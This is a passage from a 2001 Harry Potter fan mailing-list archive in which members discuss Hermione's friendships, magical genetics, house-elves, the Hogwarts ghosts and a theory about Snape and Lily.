at Hogwarts, and time and circumstances have created
strong bond between them. 

I think that underneath her academic shell, she's got
the heart of an adventuress, otherwise, she would have
run screaming from all the problems and exploits that
pop up around Harry; instead, she's gotten more and
more involved, and more and more daring in what she's
willing to chance herself, even if it means risking
the worst possible fate-worse-than-death: expulsion.
*That's* why she got put into Gryffindor, not
Ravenclaw, IMO. 

Hermione isn't a "typical" teenager in a lot of ways,
and if the only female companionship available
consists of girls who are more typical, less like
Hermione, I can easily see her not forming any close
female attachments at that age. I didn't find a female
best friend until I was in college, and she's as big a
geek egghead as I am.  

*~*~*

--- Tabouli wrote:


> While I'm on this subject, who else is there out
> there sailing on the Good Ship LOLLIPOPS?


<raises hand> 

I believe whole-heartedly that there are specific
reasons why Our Severus is so bitter and angry. I
don't think he was just born a jerk; events and
experiences shaped him, and I've speculated that
unrequited love may very well be a significant factor
in the mix. 



JayKay


=====
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From s_luhtanen at hotmail.com  Wed Sep 26 14:34:46 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Wed, 26 Sep 2001 14:34:46 -0000
Subject: Squib/Muggleborn theory
In-Reply-To: <20010926003209.16232.qmail@web20810.mail.yahoo.com>
Message-ID: <9osp26+tdf9@eGroups.com>

No: HPFGUIDX 26733

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
> 
> --- catherine at c... wrote:
> > In fact, couldn't all muggle born
> > wizards/witches have 
> > originally come from magical families, but are
> > actually born from 
> > squibs/descendents of squibs.  Is this genetically
> > possible?  It 
> > would explain why magical children suddenly appear
> > in a long line of 
> > non-magical ancestors.
> 
>       This is possible genetically if 'magic' is a
> recessive gene requiring one from both parents to
> express itself. If this was the case however
> half-bloods would almost always be Muggles which does
> not seem to be the case or intermarriage with Muggles
> would have destroyed rather than preserved the
> Wizarding race.
>     I think 'magic' is controlled by a single dominate
> gene which always expresses itself when present.
> Muggle born wizards and witches are the result of a
> spontaneous mutation.

Yes- it would have to be recessive at least.

If it's genetical, that is. But it's a gene that grants possibility - 
not yet certainty. It must be activated first...

Sometimes it produces art, music, inventions, straight A's --- other 
such creative matters...




From b.jebenstreit at biologie.uni-bielefeld.de  Wed Sep 26 15:04:35 2001
From: b.jebenstreit at biologie.uni-bielefeld.de (b.jebenstreit at biologie.uni-bielefeld.de)
Date: Wed, 26 Sep 2001 15:04:35 -0000
Subject: Newbie Intro
Message-ID: <9osqq3+pua1@eGroups.com>

No: HPFGUIDX 26734

Hello everybody!

Instead of just jumping along with my first post, I?d like to 
introduce myself to you.

My name is Barbara. I am from Germany, 26, and study biology and 
chemistry in order to be a teacher. 
>From my gracious List-Elf I know that there are at least two Barbaras 
who joined before me. So, in order to avoid confusion (I for one 
always look at the sign, not the header for the author) I will sign 
posts with the alias Ethanol. I don?t enjoy drinking the stuff but I 
spent the last years using it as a soluable... yes, I am chemistry 
crazy.... ;-)

Which is probably the reason why I like Snape so much - despite him 
being rather... unfriendly. Lets face it: mixing stuff together and 
heating it - its either cooking or chemistry. For cooking Snapes 
recepies are much to dangerous (and the way chemistry student mumble 
over their reactions trying to make them go well - that is pure 
alchemy :P )

Apart from Snape, I love Harry, Ron and Hermione - in no particular 
order. How could I ever choose between them? :-(

I started reading HP last year, shortly before GoF was published in 
German. So I had the immense pleasure of reading the four books 
shortly after another - which has left me only starving worse for 
more. I started with the translations - but I have the English 
editions waiting to be read as soon as the exams get passed.
Am I obssesed? Probably yes.

My favourite canon book is definetly GoF, followed by PoA, CoS and PS.

Well, last but not least I am *very* happy to be aboard a list with 
*soooooo* many other adult HP fans! (Did you ever got the: "What is 
she doing with a children?s book" frown?)
Take care
Ethanol






From catherine at cator-manor.demon.co.uk  Wed Sep 26 15:06:02 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Wed, 26 Sep 2001 15:06:02 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <9oskg9+foud@eGroups.com>
Message-ID: <9osqsq+g1k5@eGroups.com>

No: HPFGUIDX 26735

--- In HPforGrownups at y..., dfrankiswork at n... wrote:
> Catherine wrote:
> 
> > Firstly, where do you get the other two girls from?  Is this the 
> > debate as to whether there are other Gryffindors in Harry's year 
> > besides the ones actually named?  
> 
> I think the Lexicon puts forward the case for two more unnamed 
> Gryffindor girls in Harry's year.

Yes, I haven't checked, but I presume that this refers to the Boggart 
scene, as Heidi mentions.  I did think, however, that this was a 
mistake and had been corrected.  Don't ask me where I got this from, 
I have absolutely no idea.  Anyone else heard it or am I labouring 
under a delusion?

> One of the things that disappoints me in Hermione is the moment in 
> PoA when Ron tells Ginny to get lost (or something like that), and 
> Hermione (and Harry) tacitly goes along with this.  Things do seem 
to 
> have changed by GOF, though.

Yes, you're right.  Having said that, wasn't that because Harry made 
it clear that he wanted to talk to Ron and Hermione alone (was it 
about what Mr Weasley had just told him about Sirius Black?)  He 
says, "I want to talk to you in private."  I am not, therefore 
surprised that Hermione put Harry's need for privacy first and didn't 
rebuke Ron for his rudeness.

Catherine




From ChantelleALM at yahoo.com  Wed Sep 26 15:07:01 2001
From: ChantelleALM at yahoo.com (Chantelle McLaren)
Date: Wed, 26 Sep 2001 11:07:01 -0400 (EDT)
Subject: [HPforGrownups] Digest Number 1259
In-Reply-To: <1001374388.2182.24424.l10@yahoogroups.com>
Message-ID: <20010926150701.70178.qmail@web11203.mail.yahoo.com>

No: HPFGUIDX 26736

The soundtrack is due out October 30th, and composer John Williams (of 
'Star Wars' and 'Indiana Jones' fame) wrote the music.  Bits of it can 
be heard on the movie trailers at harrypotter.com.  I'm glad to see 
that the movie warranted a top-notch composer like Williams.
willthson

Hi everyone. I was feeling pretty down lately, but this is good news about
the soundcrac cause... OH MY GOSH! I loved the soundtrack on those
movies!!! That means I am going to LOVE the one on HP too!!! YAY I am
feeling better all ready.

Chantelle

=====
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From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 15:41:22 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 08:41:22 -0700 (PDT)
Subject: So Where *Does* Dumbledore Go On His Summer Vacation? Not To Mention Snape, etc.
In-Reply-To: <9osp26+tdf9@eGroups.com>
Message-ID: <20010926154122.78898.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26737

    I think it's the Lexicon, or maybe JKR herself,
who stated Hogwarts is abandoned for the summer by
everybody but Filch, (and maybe Hagrid).
   So where do they all go? I imagine most of the
staff does the sort of things non-magical people do on
their vacations, visit relatives or take trips to
exotic locals.
   Dumbledore, as such an important elder statesman
type wizard, may have to spend much of his vacation in
conferences and official duties of various kinds,
(poor man!).
   But what do you suppose Snape does over the summer?
Travel to collect rare and exotic potion ingredients?
Return to his family home and spend the summer trading
vicious but witty digs with assorted relations? Rent a
place on the Riviera and enjoy a passionate two months
with the Potions Mistress from Beauxbatons?  

__________________________________________________
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From magpie1112 at yahoo.com  Wed Sep 26 15:41:36 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 26 Sep 2001 15:41:36 -0000
Subject: Wizarding Caste System [was: In Defense of  Hermione]
In-Reply-To: <9orevv+pjig@eGroups.com>
Message-ID: <9ossvg+723c@eGroups.com>

No: HPFGUIDX 26738

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> --- In HPforGrownups at y..., foxmoth at q... wrote:
> > --- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
> > <rowena_grunnion_ffitch at y...> wrote:
> > 
> > 	That's my point.  Winky's case clearly shows that House Elves 
> > also  form emotional and spiritual bonds with their wizard 
> > families which are very important to them.  Putting things on a 
> > cash basis will disrupt that, just as it would in marriage.
> > 	  It  wasn't too long ago that wives  were considered chattel 
> also:
> > vowed to obey, disenfranchised, forbidden to inherit property or 
> > dispose of it without their husbands' permission,and "clothes", I 
> > mean divorce, was regarded as the ultimate disgrace. Those 
> > were legal and social practices not in some reactionary 
> > dictatorship  but in the USA and the British Isles. Things have 
> > changed.
> > 	Perhaps  the House Elf/wizard relationship will evolve in a 
> > similar direction, one in which the partnership becomes more 
> > equal, without  putting it on an employee/employer basis?
> > 		
*large snip* 
> 
> Even more to the point, in my master/pet relationship with my cat, 
> which am I?  The master or the pet?  No true cat owner has ever 
been able to answer that.

I believe that JKR will have wizards and house elves develop a 
relationship of equals as the books continue.  The house elves will 
have to overcome their "natural predisposition" to subservience and 
learn to enjoy their status as beings rather than creatures 
(developing a sense of self, perhaps?)  I'd like to know how the 
wizard/house elf master/servant relationship started.  Then perhaps 
we would have a better idea of how (or if) it would end.

In reference to cats, I believe that we have a symbiotic 
relationship.  At least that's what my cats tell me, and I belive 
them.


> 
> ** wondering how powerful a borg wizard would be **

Depends upon the size and knowledge of the Collective.... ;)


- Denise (who *has* to feed her cats now - or is that *chooses* to 
feed her cats now...?)




From magpie1112 at yahoo.com  Wed Sep 26 15:49:49 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 26 Sep 2001 15:49:49 -0000
Subject: some thoughts about the Ghosts
In-Reply-To: <9or0cs+gjou@eGroups.com>
Message-ID: <9ostet+51ii@eGroups.com>

No: HPFGUIDX 26739

--- In HPforGrownups at y..., pbnesbit at m... wrote:
> --- In HPforGrownups at y..., "Neil Ward" <neilward at d...> wrote:
> 
> (Extremely large snip)
> > 
> > I can't recall now, without referring to the books, if any of the 
> > House ghosts have referred to "their time" at Hogwarts, in the 
> sense of having been there in life.  I have a vague idea that Nick 
does make such a reference.  C'mon L.O.O.N.s ? do your worst!
> > 
> > Neil/Flying Ford Anglia
> > 
> > ________________
> > 
> > PS: Any takers for H.O.W.L.![Hands Off Werewolf Lupin!]?
> 
> It's the Fat Friar, not Nick.  PS, UK ed., pg. 87.  'Hope to see 
you in Hufflepuff!' said the Friar. 'My old house you know.'  So we 
know at least one of them was there.  
> 


Thank you, Parker!  I'd forgotten about that Friar reference.  Sure 
does put a damper on my belief that the Grey Lady is Rowena 
Ravenclaw.  

PS:  Count me in for H.O.W.L., Neil!  I'll send my sickles thru the 
Owl Post....

- Denise




From mellienel2 at yahoo.com  Wed Sep 26 16:01:01 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Wed, 26 Sep 2001 16:01:01 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <9oskg9+foud@eGroups.com>
Message-ID: <9osu3t+dlvc@eGroups.com>

No: HPFGUIDX 26740

 
> One of the things that disappoints me in Hermione is the moment in 
> PoA when Ron tells Ginny to get lost (or something like that), and 
> Hermione (and Harry) tacitly goes along with this.  Things do seem 
to have changed by GOF, though.
> 

Ya, especially when Ginny tells the two of them off -- remember her 
snapping at them when they started to make fun of othre girls, and 
their shutting right up? It's evidence that Ginny is Not The Little 
Sister anymore. The girl finally has a mouth.






From vderark at bccs.org  Wed Sep 26 16:39:55 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Wed, 26 Sep 2001 16:39:55 -0000
Subject: "facts" in the Harry Potter Lexicon (WAS summer vacation)
In-Reply-To: <20010926154122.78898.qmail@web20806.mail.yahoo.com>
Message-ID: <9ot0cr+748m@eGroups.com>

No: HPFGUIDX 26741

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
>     I think it's the Lexicon, or maybe JKR herself,
> who stated Hogwarts is abandoned for the summer by
> everybody but Filch, (and maybe Hagrid).

If it's in the Lexicon, it IS from JKR herself. I don't make stuff 
up. She mentioned this in an interview with the Southwest News on 
July 8, 2000. 

In case you're curious, the reference in the Lexicon is here:
http://www.i2k.com/~svderark/lexicon/hogwarts_schedules.html

It details the year at Hogwarts, when various feasts happen, and also 
mentions that Filch is the only one who stays behind at Hogwarts 
during the summer.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From caliburncy at yahoo.com  Wed Sep 26 16:41:00 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Wed, 26 Sep 2001 16:41:00 -0000
Subject: Spectral speculations, the IQ myth, & romantic ruminations...
In-Reply-To: <004a01c14680$7f934280$8992aecb@price>
Message-ID: <9ot0es+82vs@eGroups.com>

No: HPFGUIDX 26742

--- In HPforGrownups at y..., "Angela Burgess" <MmeBurgess at m...> wrote:
> joym999 at a... wrote:
> <<There is NO evidence that Stan or Ernie or anyone else (except 
> Hagrid and that's different) flunked out of Hogwarts, nor have 
> we been presented with any evidence that some wizards and witches 
> are not intelligent enough to go to Hogwarts.>>
> 
> I could be wrong here, since I don't have my copy of PS/SS, but 
> didn't Neville say something about his family being worried that he 
> wouldn't make it in to Hogwarts?  I think that this was because he 
> didn't show any magic until he was dropped out the window by his 
> uncle.  Like I said, I could very well be wrong.

AND

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:
> There is one piece of evidence that suggests that entry into 
> Hogwarts is predicated on ability, and that is Neville's relatives 
> being worried that he was "all muggle for ages" and wouldn't be 
> magic enough to get into Hogwarts.

Well, technically, if I may be so bold and nitpicky, the Neville 
incident (as quoted below) only indicates that if Neville were a squib 
(all-Muggle, as he says) he would not have been accepted to Hogwarts. 
 This has nothing really to do with intelligence, which was the 
premise of Joywitch's comments about Stan, Ernie, etc.

PS/SS Chap. 7, The Sorting Hat
(Neville speaking) "...the family thought I was all-Muggle for ages... 
[snip description of the Great Uncle Algie bouncing incident]...you 
should have seen their faces when I got in here--they thought I might 
not be magic enough to come"

So if Stan and Ernie didn't go, it was not because they were 
unintelligent, but because they were squibs.  But then readers have 
used their seeming lack of intelligence to conclude that perhaps they 
didn't go to Hogwarts.  This is somewhat circuitous logic.

-Luke




From joym999 at aol.com  Wed Sep 26 16:50:09 2001
From: joym999 at aol.com (Joy M)
Date: Wed, 26 Sep 2001 16:50:09 -0000
Subject: Last Chance!
Message-ID: <9ot101+b4mv@eGroups.com>

No: HPFGUIDX 26743

If you want to enter HP4GU Contest #14, which is an HP-themed 
acrostic puzzle, this is your last chance.  I will be collecting the 
results and posting them sometime tomorrow.

Details of the contest can be found in message #26186.  Note that to 
do this puzzle, you have to download some files from the files 
section.  If you have any questions, send me an email.

I will be posting a new contest this Friday.

--Joywitch




From cynthiaanncoe at home.com  Wed Sep 26 17:42:27 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 26 Sep 2001 17:42:27 -0000
Subject: Hermione's Knowledge of the Longbottoms
Message-ID: <9ot423+5qk6@eGroups.com>

No: HPFGUIDX 26744

Is it generally accepted that Hermione knows all about what happened 
to Neville's parents?  In GoF, she displayed sensitivity to the fact 
that Neville was upset when Moody demonstrated the Unforgivable 
Curses.  If, as I think Dumbledore states, the Longbottoms were 
popular and the tortures were widely reported at the time, is there 
any chance that Hermione has not learned this in a book?  

It would explain why she would be giving Neville special help even 
though, as a general matter, Hermione has been known to get just a 
little impatient with her fellow wizards, just every now and then, 
and only when they really, really deserve it (e.g. Lavender, 
Trelawney, Ron).  

For that matter, is it also possible that Lupin selects Neville to 
ward off the boggart because Lupin is also painfully aware of 
Neville's past, and wants to help him succeed?

As for why Snape can't find it in his heart to give poor Neville a 
break . . . well, I'll let the Snape fans field that question.

Cindy (who is not intending to bash Hermione, lest she be wrestled to 
the ground by hordes of S.C.H.A.B.B. devotees)




From maryblue67 at yahoo.com  Wed Sep 26 18:09:07 2001
From: maryblue67 at yahoo.com (Maria)
Date: Wed, 26 Sep 2001 11:09:07 -0700 (PDT)
Subject: some thoughts about the Ghosts - Lupin at Godric's Hollow
In-Reply-To: <1001463319.2339.86324.l6@yahoogroups.com>
Message-ID: <20010926180907.26932.qmail@web11108.mail.yahoo.com>

No: HPFGUIDX 26745


Neil Ward wrote:

<I like the idea that the Hogwarts ghosts are not
necessarily former 
witches and wizards, but Muggle spirits who can stray
across the 
boundaries between the two worlds, and Maria has a point,
in that the 
titles of the House ghosts do not really marry up with our
knowledge 
of the Magical world.   {...}

On the other side of the argument is the fact that the
House ghosts 
are assigned to the four Houses.  Are we to assume that the
Houses 
adopted these ghosts at some point, or were they perhaps
former 
students or teachers of Hogwarts who were sorted when they
were 
alive?   If so, did the Fat Friar leave Hogwarts as a young
wizard 
and decide to enter a Muggle friary to find his inner self
or brew 
beer for tourists?  That seems a little unlikely.>

Parker added:

<It's the Fat Friar, not Nick.  PS, UK ed., pg. 87.  'Hope
to see you 
in Hufflepuff!' said the Friar. 'My old house you know.' 
So we know 
at least one of them was there.  > 

Thanks for the comments! As Neil said, it doesn't make much
sense that the Fat Friar went to a monastery after Hogwarts
, however, Parker pointed that he said so in the book, so i
don't know what to think. The baron doesn't seem like a
wizard in life either, however, the most doubtful one was
the Friar, and he is proven to be a wizard in life. Well, i
thought i had an interesting point... but i see i didn't :)

On another topic, i hear people discussing about Godric's
Hollow and Lupin being there, the place being destroyed,
etc. I have a question for the experts: does it say
somewhere that Godric's Hollow is a house, like the Burrow,
the home of the Potters? Or could it be a bigger place, not
a town,since we know that Hogsmeade is the only
all-wizarding town in England, but with more houses than
that where the Potters lived?

Maria

=====
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----------------------------------------------------------
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in love" - Eistein

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From catherine at cator-manor.demon.co.uk  Wed Sep 26 19:11:06 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Wed, 26 Sep 2001 19:11:06 -0000
Subject: Hermione's Knowledge of the Longbottoms
In-Reply-To: <9ot423+5qk6@eGroups.com>
Message-ID: <9ot98a+2g85@eGroups.com>

No: HPFGUIDX 26746

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Is it generally accepted that Hermione knows all about what 
happened 
> to Neville's parents?  <snip some very good points>

This is a good question.  It isn't generally accepted.  To my 
knowledge, no one's raised this before, but it wouldn't surprise me 
in the least.  She is very sensitive towards Neville - as you say, 
she is the one who picks up on the way he reacted to Crouch/Moody's 
first lesson.  Knowing, however, the amount of research Hermione 
does - after all, she knew all about Harry from her pre-Hogwarts 
research, it wouldn't surprise me if she had read something about 
Neville's parents and put two and two together.  

If this is the case, it just shows what a discreet and sensitive 
person Hermione is.  She, like Dumbledore, would appreciate the fact 
that if Neville wanted to share this part of his life, he would do 
so.  It reinforces the what we already know - Hermione is very good 
at keeping secrets, and knows when to reveal things she knows - such 
as delaying telling Ron and Harry about her capture of Rita Skeeter, 
knowing that Harry in particular had other things on his mind to care.

It is also possible that Neville confided in Hermione - she does seem 
to have a good relationship with him, which may or may not go beyond 
her propensity to champion the underdog and collect lame ducks.  
(Aside to Heidi - perhaps the time she doesn't spend with Harry is 
spent with Neville, not Draco?)

Cindy's post also raised other issues about the way Neville is 
treated.  I am sure that the staff know his unfortunate history - 
they were, after all adults when the Lestranges and Barty Crouch jnr 
were brought to trial, and the case did generate a great deal of 
public feeling.  I find it interesting how, therefore, they behave 
towards him.  Snape - absolutely inexcusable.  There have been 
attempts to explain Snape's behaviour as trying to "toughen" Neville 
up.  I don't buy this - particularly because, after four years, he 
should have realised that it isn't working.  Lupin obviously has a 
much more successful approach, but the person who really appalls me 
in this respect is Professor Trelawney.  The woman is evil.  If she 
knows that Neville's parents are in St Mungo's and that the only home 
security Neville has is with elderly relatives - his grandmother in 
particular - deliberately worrying him as to the state of her health 
is unforgiveable.

One more thing on Neville - it has been postulated before (and I do 
agree with this) that Neville's bad memory is akin to Bertha Jorkins -
 ie. he was traumatised in some way by what happened to his parents 
and had a memory charm put on him.  I am wondering if his near-
squibness is also related to this.  The trauma of his early life 
having the opposite affect it had in Harry's, in that he suppressed 
his magical ability somehow?  

Catherine




From dfrankiswork at netscape.net  Wed Sep 26 19:13:32 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 19:13:32 -0000
Subject: House-Elves [was: In Defense of  Hermione]
In-Reply-To: <9ossvg+723c@eGroups.com>
Message-ID: <9ot9cs+d6gu@eGroups.com>

No: HPFGUIDX 26747

--- In HPforGrownups at y..., magpie1112 at y... wrote:

> I believe that JKR will have wizards and house elves develop a 
> relationship of equals as the books continue.

Yes, but...
> The house elves will 
> have to overcome their "natural predisposition" to subservience and 
> learn to enjoy their status as beings rather than creatures 
> (developing a sense of self, perhaps?)  

I do not believe that the House-elves have a 'natural predisposition' 
to subservience - they have a culturally-programmed one.  As I 
understand it, this is what Ebony and Pippin were both implying.

I think there is canon evidence that it is not natural or innate.  I 
am referring to the fear which comes over the kitchen elves when 
Hermione starts to challenge them, and with which they regard Dobby.  
This shows that they know that Hermione's and Dobby's way is a real 
possibility for them.  If it was all so natural, they would just 
laugh, and regard Dobby tolerantly as a freak of nature.  As it is 
the abyss has opened in front of them.  

She has them rattled and we can expect earthquakes in due course.

David, who BTW thinks magic and genetics don't mix.




From michelleapostolides at lineone.net  Wed Sep 26 19:33:53 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Wed, 26 Sep 2001 20:33:53 +0100
Subject: Chat going on
Message-ID: <00f201c146c2$2e2ebfe0$b73c7bd5@tmeltcds>

No: HPFGUIDX 26748

At 20.33 UK time Wednesday. 

Anyone want to join us ?

Michelle




From macloudt at yahoo.co.uk  Wed Sep 26 20:28:47 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Wed, 26 Sep 2001 20:28:47 -0000
Subject: Hermione's Friends; genes
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DB6@MIAEXCH1>
Message-ID: <9otdpv+6iho@eGroups.com>

No: HPFGUIDX 26750


 Magic, I agree, has to be a dominant trait - otherwise, it's true,
> you could never have muggle-born witches & wizards because the 
Magic traits
> would be over- ridden by the Muggle traits. 
> However, if it was only one gene, there would be *no* squibs 
(absent genetic
> mutations), because all Magic parents would pass their genes onto 
their
> ofspring. But if it is more than one gene, and if you have to have, 
say 3 of
> the 5 to NOT be a squib, then the absence of one of those genes in 
each
> parent would result in a Squib offspring BUT would allow the Squib 
to be a
> parent of a Magic baby.

'Fraid I have to be anal retentive here...if I recall my grade 9 
biology correctly, it IS possible for a trait to derive from a 
recessive gene *if* both parents carry that recessive gene.  This is 
how, for example, 2 brown-eyed (dominant) parents can have a blue-eyed
(recessive) child.  So there could be *thousands* (if not more) 
Muggles walking around with recessive magic genes, ready to pass them 
on to their child in blissful ignorance. There could be many 
generations of Muggles carrying this gene before the right people 
mate and produce a witch/wizard.  

As you say, though, there must be more than one gene involved, or 
there would be no Squibs as far as I can see.

Any biologists/geneticists out there who can improve upon my grade 9 
biology?

Mary Ann
(who dropped science before she could take chemistry, thus saving the 
school from certain catastrophe)




From foxmoth at qnet.com  Wed Sep 26 21:39:25 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Wed, 26 Sep 2001 21:39:25 -0000
Subject: Snape/Lily and Vampires was Spectral etc.
In-Reply-To: <004a01c14680$7f934280$8992aecb@price>
Message-ID: <9othud+bvbq@eGroups.com>

No: HPFGUIDX 26751

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:


> Ha!  Yes, yes, see, see?  For those of you who weren't around 
for the great Snape/Lily debate, there's been an underground 
movement supporting this theory for months.  So there, vampire 
brigade -- two more members for L.O.L.L.I.P.O.P.S. (Love Of Lily 
Left Ire Polluting Our Poor Severus), for which I might hereby 
nominate myself founding member and president.  

  Ahem, who says one can't be a Snape/Lily advocate *and* a 
vampire brigadier? I am pleased to announce the formation of 
L.O.V.E.S.L.A.V.E (Leage Of Violently Enamoured Snape/Lily And 
Vampire Enthusiasts. Membership is free.

Pippin, who is willing to bet most listies would pay to be 
excused.
  





From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 21:57:59 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 14:57:59 -0700 (PDT)
Subject: [HPforGrownups] some thoughts about the Ghosts - Lupin at Godric's Hollow
In-Reply-To: <20010926180907.26932.qmail@web11108.mail.yahoo.com>
Message-ID: <20010926215759.86383.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26752


--- Maria <maryblue67 at yahoo.com> wrote:

> <It's the Fat Friar, not Nick.  PS, UK ed., pg. 87. 
> 'Hope
> to see you 
> in Hufflepuff!' said the Friar. 'My old house you
> know.' 
> So we know 
> at least one of them was there.  > 
> 
> Thanks for the comments! As Neil said, it doesn't
> make much
> sense that the Fat Friar went to a monastery after
> Hogwarts
> , however, Parker pointed that he said so in the
> book, so i
> don't know what to think.

    Actually it was not uncommon for medieval
religious to dabble in magic, or natural philosophy,
the two were kind of hard to tell apart back then.
Pope Sylvester and Roger Bacon were both rumored to be
wizards.


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From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 22:01:06 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 15:01:06 -0700 (PDT)
Subject: [HPforGrownups] Re: Spectral speculations, the IQ myth, & romantic ruminations...
In-Reply-To: <9ot0es+82vs@eGroups.com>
Message-ID: <20010926220106.86831.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26753


--- caliburncy at yahoo.com wrote:

> Well, technically, if I may be so bold and nitpicky,
> the Neville 
> incident (as quoted below) only indicates that if
> Neville were a squib 
> (all-Muggle, as he says) he would not have been
> accepted to Hogwarts. 
>  This has nothing really to do with intelligence,
> which was the 
> premise of Joywitch's comments about Stan, Ernie,
> etc.
   
    It would seem eligibility for Hogwarts is based on
magical ability not intelligence, (which does rather
explain Crabbe and Goyle.

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From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 22:09:16 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 15:09:16 -0700 (PDT)
Subject: [HPforGrownups] "facts" in the Harry Potter Lexicon (WAS summer vacation)
In-Reply-To: <9ot0cr+748m@eGroups.com>
Message-ID: <20010926220916.8955.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26754

   Oh my! I didn't mean to imply the lexicon
information was inaccurate or uncanonical I just
couldn't remember whether I'd read about Hogwarts
being deserted in the summers there or in a JKR
interview.
   I wonder where Hagrid goes in the summers.....?


--- Steve Vander Ark <vderark at bccs.org> wrote:
> --- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
> <rowena_grunnion_ffitch at y...> wrote:
> >     I think it's the Lexicon, or maybe JKR
> herself,
> > who stated Hogwarts is abandoned for the summer by
> > everybody but Filch, (and maybe Hagrid).
> 
> If it's in the Lexicon, it IS from JKR herself. I
> don't make stuff 
> up. She mentioned this in an interview with the
> Southwest News on 
> July 8, 2000. 
> 
> In case you're curious, the reference in the Lexicon
> is here:
>
http://www.i2k.com/~svderark/lexicon/hogwarts_schedules.html
> 
> It details the year at Hogwarts, when various feasts
> happen, and also 
> mentions that Filch is the only one who stays behind
> at Hogwarts 
> during the summer.
> 
> Steve Vander Ark
> The Harry Potter Lexicon
> http://www.i2k.com/~svderark/lexicon
> 
> 


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From fyregirl at cfl.rr.com  Wed Sep 26 23:18:47 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 26 Sep 2001 23:18:47 -0000
Subject: Thank you
Message-ID: <9otnon+jmjq@eGroups.com>

No: HPFGUIDX 26755

If you get the digest version of events from this site, I think 
you'll understand what I am saying Thank You about ....

Mods .... You rock!  I thought that was a little uncalled for and 
entirely insensitive as well.  I was going to post my thoughts and 
feelings, but now I don't have to.

Thank you.

Michelle :)




From blpurdom at yahoo.com  Wed Sep 26 23:40:11 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 26 Sep 2001 23:40:11 -0000
Subject: House Elves/Harry & Jealousy/LOLLIPOPS
Message-ID: <9otp0r+9a68@eGroups.com>

No: HPFGUIDX 26756

I've been unable to read posts since Monday, but I'm caught up now.  
Gracious, I didn't know what I was starting with the post about 
wizarding caste system.  I must disagree, however, with the response 
that said the theory wasn't valid because house-elves aren't human.  
Has everyone read Fantastic Beasts and Where to Find Them?  Many non-
human magical creatures are said to participate with wizards in 
working out who has what status in the magical world.  Perhaps in 
addition to the canon books, we should start doing 
summaries/questions/discussions based on the school books as well (FB 
and Quidditch Through the Ages).

Since the caste/slavery/housewives thread began with a defense of 
Hermione, I would like to bring it full circle and suggest that 
although she would still make a lousy anthropologist, Hermione's 
heart is in the right place and her attitude toward the house elves 
is another way for JKR to illustrate her basically liberal attitudes; 
also, if Ron doesn't want to completely alienate her, he had better 
change his tune about house elves.  Ron sometimes affects the same 
attitudes that Draco Malfoy does, not because he is rich, but because 
a part of him would like to be.

Which brings us to Harry's jealousy of Ron's family.  I think the 
point has been made well that in CoS he enjoys a wonderful month with 
them and that the twins treat him better than Ron sometimes and Molly 
makes him nicer jumpers, etc.  Part of this seems to be 
overcompensation on their part, to make up for the fact that they 
can't just adopt him and formally make him part of the family 
(although one wonders why not).  

However, we discover in GoF that the thing that Harry is most jealous 
of once he is a Triwizard champion is Ron's ordinariness.  He would 
like to walk about without everyone staring at his forehead; he would 
like to just sit and watch others compete in the Tournament.  In CoS, 
he would like not to be a Parselmouth who is the prime suspect for 
being the Heir of Slytherin.  Harry is jealous of Ron's family, but 
he also is jealous of Ron's unremarkableness, which makes Ron very 
discontented (as evidenced by the Mirror of Erised).  I doubt somehow 
that Ron will achieve all of those things he saw in the Mirror, or 
even that achieving all of them would be good for him (Dumbledore 
cautioned Harry that people often want what is worst for them).  I 
expect this to be a painful lesson for Ron.  (Perhaps Voldemort will 
tempt him with a way to achieve these things?)

So, learning to live without something/someone we cannot have brings 
me to Snape/Lily/James, which has been a pet theory of mine long 
before coming to this list.  I won't expound on that further, since 
others have done so quite eloquently--and because chapters 19 & 20 of 
my fic speak for themselves.  Plus I gave Snape (poor guy) porphyria 
to explain the vampire-like tendencies and his tetchiness.  If only 
